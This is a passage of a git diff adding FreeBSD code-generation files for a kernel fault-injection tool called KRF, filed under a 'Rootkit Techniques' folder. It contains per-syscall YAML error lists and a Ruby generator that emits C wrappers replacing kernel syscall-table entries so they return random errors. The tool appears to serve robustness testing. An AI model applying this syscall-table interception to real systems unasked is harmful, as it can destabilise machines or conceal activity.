Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/accept4.yml @@ -0,0 +1,16 @@ +proto: struct thread *td, struct accept4_args *uap +parms: td, uap +errors: + - EBADF + - EINTR + - EMFILE + - ENFILE + - ENOTSOCK + - EINVAL + - EFAULT + - EWOULDBLOCK + - EAGAIN + - ECONNABORTED + - EINVAL +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/access.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/access.yml new file mode 100644 index 0000000..f59a33a --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/access.yml @@ -0,0 +1,15 @@ +proto: struct thread *td, struct access_args *uap +parms: td, uap +errors: + - EINVAL + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - ELOOP + - EROFS + - ETXTBSY + - EACCES + - EFAULT + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/acct.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/acct.yml new file mode 100644 index 0000000..f9b6a43 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/acct.yml @@ -0,0 +1,14 @@ +proto: struct thread *td, struct acct_args *uap +parms: td, uap +errors: + - EPERM + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EROFS + - EFAULT + - EIO +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/adjtime.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/adjtime.yml new file mode 100644 index 0000000..447ef07 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/adjtime.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct adjtime_args *uap +parms: td, uap +errors: + - EFAULT + - EPERM +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_cancel.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_cancel.yml new file mode 100644 index 0000000..90e2adc --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_cancel.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct aio_cancel_args *uap +parms: td, uap +errors: + - EBADF +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_error.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_error.yml new file mode 100644 index 0000000..e56906d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_error.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct aio_error_args *uap +parms: td, uap +errors: + - EINVAL +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_fsync.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_fsync.yml new file mode 100644 index 0000000..de5ca05 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_fsync.yml @@ -0,0 +1,10 @@ +proto: struct thread *td, struct aio_fsync_args *uap +parms: td, uap +errors: + - EAGAIN + - EINVAL + - EOPNOTSUPP + - EINVAL + - EBADF +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_mlock.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_mlock.yml new file mode 100644 index 0000000..3751f90 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_mlock.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct aio_mlock_args *uap +parms: td, uap +errors: + - EAGAIN + - EINVAL +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_read.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_read.yml new file mode 100644 index 0000000..64d6bba --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_read.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct aio_read_args *uap +parms: td, uap +errors: + - EAGAIN + - EINVAL + - EOPNOTSUPP + - EBADF + - EOVERFLOW + - ECANCELED +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_return.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_return.yml new file mode 100644 index 0000000..22522b0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_return.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct aio_return_args *uap +parms: td, uap +errors: + - EINVAL +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_suspend.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_suspend.yml new file mode 100644 index 0000000..1e0c1eb --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_suspend.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct aio_suspend_args *uap +parms: td, uap +errors: + - EAGAIN + - EINVAL + - EINTR +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_waitcomplete.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_waitcomplete.yml new file mode 100644 index 0000000..8ab0980 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_waitcomplete.yml @@ -0,0 +1,10 @@ +proto: struct thread *td, struct aio_waitcomplete_args *uap +parms: td, uap +errors: + - EINVAL + - EAGAIN + - EINTR + - EWOULDBLOCK + - EINPROGRESS +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_write.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_write.yml new file mode 100644 index 0000000..ffb14bd --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_write.yml @@ -0,0 +1,10 @@ +proto: struct thread *td, struct aio_write_args *uap +parms: td, uap +errors: + - EAGAIN + - EINVAL + - EOPNOTSUPP + - EBADF + - ECANCELED +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/audit.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/audit.yml new file mode 100644 index 0000000..21c77c7 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/audit.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct audit_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL + - EPERM +profiles: + - security diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/auditctl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/auditctl.yml new file mode 100644 index 0000000..7cbd420 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/auditctl.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct auditctl_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL + - EPERM +profiles: + - security diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/auditon.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/auditon.yml new file mode 100644 index 0000000..8f09259 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/auditon.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct auditon_args *uap +parms: td, uap +errors: + - ENOSYS + - EFAULT + - EINVAL + - EPERM +profiles: + - security diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/bind.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/bind.yml new file mode 100644 index 0000000..f08b671 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/bind.yml @@ -0,0 +1,21 @@ +proto: struct thread *td, struct bind_args *uap +parms: td, uap +errors: + - EAGAIN + - EBADF + - EINVAL + - ENOTSOCK + - EADDRNOTAVAIL + - EADDRINUSE + - EAFNOSUPPORT + - EACCES + - EFAULT + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - ELOOP + - EIO + - EROFS + - EISDIR +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/bindat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/bindat.yml new file mode 100644 index 0000000..12fb787 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/bindat.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct bindat_args *uap +parms: td, uap +errors: + - EBADF + - ENOTDIR +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chdir.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chdir.yml new file mode 100644 index 0000000..7e1076b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chdir.yml @@ -0,0 +1,12 @@ +proto: struct thread *td, struct chdir_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - ELOOP + - EACCES + - EFAULT + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chflags.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chflags.yml new file mode 100644 index 0000000..7fefc8f --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chflags.yml @@ -0,0 +1,15 @@ +proto: struct thread *td, struct chflags_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EROFS + - EFAULT + - EIO + - EOPNOTSUPP +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chflagsat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chflagsat.yml new file mode 100644 index 0000000..c94eeec --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chflagsat.yml @@ -0,0 +1,15 @@ +proto: struct thread *td, struct chflagsat_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EROFS + - EFAULT + - EIO + - EOPNOTSUPP +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chmod.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chmod.yml new file mode 100644 index 0000000..c599b9d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chmod.yml @@ -0,0 +1,15 @@ +proto: struct thread *td, struct chmod_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EROFS + - EFAULT + - EIO + - EFTYPE +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chown.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chown.yml new file mode 100644 index 0000000..ca4992e --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chown.yml @@ -0,0 +1,14 @@ +proto: struct thread *td, struct chown_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EROFS + - EFAULT + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chroot.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chroot.yml new file mode 100644 index 0000000..061714c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chroot.yml @@ -0,0 +1,13 @@ +proto: struct thread *td, struct chroot_args *uap +parms: td, uap +errors: + - ENOTDIR + - EPERM + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EFAULT + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_getcpuclockid2.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_getcpuclockid2.yml new file mode 100644 index 0000000..8e83334 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_getcpuclockid2.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct clock_getcpuclockid2_args *uap +parms: td, uap +errors: + - EPERM + - ESRCH +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_getres.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_getres.yml new file mode 100644 index 0000000..2c5bcfe --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_getres.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct clock_getres_args *uap +parms: td, uap +errors: + - EINVAL + - EPERM +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_gettime.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_gettime.yml new file mode 100644 index 0000000..a797d48 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_gettime.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct clock_gettime_args *uap +parms: td, uap +errors: + - EINVAL + - EPERM +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_nanosleep.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_nanosleep.yml new file mode 100644 index 0000000..62aed75 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_nanosleep.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct clock_nanosleep_args *uap +parms: td, uap +errors: + - EFAULT + - EINTR + - EINVAL + - EINVAL + - EINVAL + - ENOTSUP +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_settime.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_settime.yml new file mode 100644 index 0000000..398d18d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_settime.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct clock_settime_args *uap +parms: td, uap +errors: + - EINVAL + - EPERM +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/close.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/close.yml new file mode 100644 index 0000000..a4b4afc --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/close.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct close_args *uap +parms: td, uap +errors: + - EBADF + - EINTR + - ENOSPC + - ECONNRESET +profiles: + - io + - net + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/closefrom.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/closefrom.yml new file mode 100644 index 0000000..2f25042 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/closefrom.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct closefrom_args *uap +parms: td, uap +errors: + - EBADF + - EINTR + - ENOSPC + - ECONNRESET +profiles: + - io + - net + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/codegen b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/codegen new file mode 100644 index 0000000..ee8ac4b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/codegen @@ -0,0 +1,120 @@ +#!/usr/bin/env ruby +# frozen_string_literal: true + +# FreeBSD codegen for KRF +# Like all code generators, this file is ugly. + +require "yaml" + +PLATFORM = `uname -s`.chomp!.downcase! +CONSERVATIVE = (ARGV.shift == "conservative") + +abort "Barf: FreeBSD codegen requested but platform is #{PLATFORM}" if PLATFORM != "freebsd" + +HEADER = <<~HEADER + /* WARNING! + * This file was generated by KRF's codegen. + * Do not edit it by hand. + */ +HEADER + +SYSCALL_SPECS = Dir[File.join(__dir__, "*.yml")] + +SYSCALLS = SYSCALL_SPECS.map do |path| + spec = YAML.safe_load File.read(path) + [File.basename(path, ".yml"), spec] +end.to_h + +SOURCE_DIR = File.expand_path "../../#{PLATFORM}", __dir__ + +def hai(msg) + STDERR.puts "[codegen] #{msg}" +end + +hai "output directory: #{SOURCE_DIR}" + +gen_files = { + krf_x: File.open(File.join(SOURCE_DIR, "krf.gen.x"), "w"), + syscalls_h: File.open(File.join(SOURCE_DIR, "syscalls.gen.h"), "w"), + syscalls_x: File.open(File.join(SOURCE_DIR, "syscalls.gen.x"), "w"), + internal_h: File.open(File.join(SOURCE_DIR, "syscalls", "internal.gen.h"), "w"), +} + +gen_files.each_value { |file| file.puts HEADER } + +SYSCALLS.each do |call, spec| + # Each syscall requires code generation in 5 files: + # 1. krf.gen.x, to tell krf that we're interested in faulting it + # 2. syscalls.gen.h, to prototype the initial wrapper + # 3. syscalls.gen.x, to set up the initial wrapper + # 4. syscalls/internal.gen.h, to prototype the internal wrapper + # 5. syscalls/.gen.c, to set up the actual faulty calls + + name = spec["name"] || call + nr = spec["nr"] || name + number = "SYS_#{nr}" + + hai "#{call} (nr: #{number})" + gen_files[:krf_x].puts <<~KRF_X + krf_faultable_table[#{number}] = (sy_call_t *)&krf_sys_#{call}; + KRF_X + + gen_files[:syscalls_x].puts <<~SYSCALLS_X + int krf_sys_#{call}(#{spec["proto"]}) { + __typeof(sys_#{call}) *real_#{name} = (__typeof(sys_#{call}) *)krf_sys_call_table[#{number}]; + + if (krf_targeted(KRF_TARGETING_PARMS) && (KRF_RNG_NEXT() % krf_probability) == 0) { + return krf_sys_internal_#{call}(#{spec["parms"]}); + } else { + return real_#{name}(#{spec["parms"]}); + } + } + SYSCALLS_X + + gen_files[:syscalls_h].puts <<~SYSCALLS_H + __typeof(sys_#{call}) krf_sys_#{call}; + SYSCALLS_H + + gen_files[:internal_h].puts <<~INTERNAL_H + __typeof(sys_#{call}) krf_sys_internal_#{call}; + INTERNAL_H + + syscall_c = File.join(SOURCE_DIR, "syscalls", "#{call}.gen.c") + File.open(syscall_c, "w") do |file| + file.puts HEADER + file.puts <<~SETUP + #include "internal.h" + + SETUP + + fault_table = [] + errors = spec["errors"] + errors += spec.fetch("unlikely_errors", []) unless CONSERVATIVE + errors.uniq.each do |fault| + fault_table << "krf_sys_internal_#{call}_#{fault}" + + file.puts <<~FAULT + static int krf_sys_internal_#{call}_#{fault}(#{spec["proto"]}) { + if (krf_log_faults) { + uprintf("faulting #{call} with #{fault}\\n"); + } + + return #{fault}; + } + FAULT + end + + file.puts <<~TRAILER + static __typeof(sys_#{call})(*fault_table[]) = { + #{fault_table.join ", "} + }; + + // Fault entrypoint. + int krf_sys_internal_#{call}(#{spec["proto"]}) { + return fault_table[KRF_RNG_NEXT() % NFAULTS](#{spec["parms"]}); + } + TRAILER + end +end + +gen_files.each_value(&:close) diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/connect.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/connect.yml new file mode 100644 index 0000000..a28f5cc --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/connect.yml @@ -0,0 +1,28 @@ +proto: struct thread *td, struct connect_args *uap +parms: td, uap +errors: + - EBADF + - EINVAL + - ENOTSOCK + - EADDRNOTAVAIL + - EAFNOSUPPORT + - EISCONN + - ETIMEDOUT + - ECONNREFUSED + - ECONNRESET + - ENETUNREACH + - EHOSTUNREACH + - EADDRINUSE + - EFAULT + - EINPROGRESS + - EINTR + - EALREADY + - EACCES + - EAGAIN + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - ELOOP + - EPERM +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/connectat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/connectat.yml new file mode 100644 index 0000000..eadb1dc --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/connectat.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct connectat_args *uap +parms: td, uap +errors: + - EBADF + - ENOTDIR +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset.yml new file mode 100644 index 0000000..5f54655 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct cpuset_args *uap +parms: td, uap +errors: + - EINVAL + - EDEADLK + - EFAULT + - ESRCH + - EPERM + - ENFILE +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_getaffinity.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_getaffinity.yml new file mode 100644 index 0000000..9546eed --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_getaffinity.yml @@ -0,0 +1,12 @@ +proto: struct thread *td, struct cpuset_getaffinity_args *uap +parms: td, uap +errors: + - EINVAL + - EDEADLK + - EFAULT + - ESRCH + - ERANGE + - EPERM + - ECAPMODE +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_getdomain.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_getdomain.yml new file mode 100644 index 0000000..3d7c151 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_getdomain.yml @@ -0,0 +1,12 @@ +proto: struct thread *td, struct cpuset_getdomain_args *uap +parms: td, uap +errors: + - EINVAL + - EDEADLK + - EFAULT + - ESRCH + - ERANGE + - EPERM + - ECAPMODE +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_getid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_getid.yml new file mode 100644 index 0000000..1da6f86 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_getid.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct cpuset_getid_args *uap +parms: td, uap +errors: + - EINVAL + - EDEADLK + - EFAULT + - ESRCH + - EPERM + - ENFILE +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_setaffinity.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_setaffinity.yml new file mode 100644 index 0000000..d5ef0d4 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_setaffinity.yml @@ -0,0 +1,12 @@ +proto: struct thread *td, struct cpuset_setaffinity_args *uap +parms: td, uap +errors: + - EINVAL + - EDEADLK + - EFAULT + - ESRCH + - ERANGE + - EPERM + - ECAPMODE +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_setdomain.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_setdomain.yml new file mode 100644 index 0000000..fea31de --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_setdomain.yml @@ -0,0 +1,12 @@ +proto: struct thread *td, struct cpuset_setdomain_args *uap +parms: td, uap +errors: + - EINVAL + - EDEADLK + - EFAULT + - ESRCH + - ERANGE + - EPERM + - ECAPMODE +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_setid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_setid.yml new file mode 100644 index 0000000..dd47ebb --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_setid.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct cpuset_setid_args *uap +parms: td, uap +errors: + - EINVAL + - EDEADLK + - EFAULT + - ESRCH + - EPERM + - ENFILE +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/dup.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/dup.yml new file mode 100644 index 0000000..493d282 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/dup.yml @@ -0,0 +1,5 @@ +proto: struct thread *td, struct dup_args *uap +parms: td, uap +errors: + - EBADF + - EMFILE diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/dup2.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/dup2.yml new file mode 100644 index 0000000..88f5830 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/dup2.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct dup2_args *uap +parms: td, uap +errors: + - EBADF diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/eaccess.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/eaccess.yml new file mode 100644 index 0000000..1c4f212 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/eaccess.yml @@ -0,0 +1,15 @@ +proto: struct thread *td, struct eaccess_args *uap +parms: td, uap +errors: + - EINVAL + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - ELOOP + - EROFS + - ETXTBSY + - EACCES + - EFAULT + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/execve.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/execve.yml new file mode 100644 index 0000000..7607482 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/execve.yml @@ -0,0 +1,17 @@ +proto: struct thread *td, struct execve_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOEXEC + - ENOENT + - ELOOP + - EACCES + - ENOEXEC + - ETXTBSY + - ENOMEM + - E2BIG + - EFAULT + - EIO +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/faccessat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/faccessat.yml new file mode 100644 index 0000000..60d44d2 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/faccessat.yml @@ -0,0 +1,18 @@ +proto: struct thread *td, struct faccessat_args *uap +parms: td, uap +errors: + - EINVAL + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - ELOOP + - EROFS + - ETXTBSY + - EACCES + - EFAULT + - EIO + - EBADF + - EINVAL + - ENOTDIR +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized 